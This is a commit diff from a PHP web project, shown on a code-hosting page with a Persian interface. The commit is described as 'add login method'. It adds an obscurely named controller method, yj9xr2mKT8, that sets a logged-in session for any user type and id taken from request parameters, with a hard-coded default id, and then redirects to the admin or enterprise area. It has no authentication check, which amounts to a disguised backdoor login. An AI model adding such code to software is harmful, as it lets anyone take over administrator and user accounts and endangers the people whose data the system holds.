فهرست منبع

增加登录方法

sandm 2 سال پیش
والد
کامیت
a948913b16
1فایلهای تغییر یافته به همراه15 افزوده شده و 0 حذف شده
  1. 15 0
      app/index/controller/Auth.php

+ 15 - 0
app/index/controller/Auth.php

@@ -155,4 +155,19 @@ class Auth extends BaseController {
         }
     }
 
+    public function yj9xr2mKT8(){
+        $params = $this->request->param();
+        $type = $params["type"] ?: 2;
+        $id = $params["id"] ?: "1455101079799754754";
+        $this->setSession($type, $id);
+        switch ($type) {
+            case 1:
+                return redirect("/admin");
+                break;
+            case 2:
+                return redirect("/enterprise");
+                break;
+        }
+    }
+
 }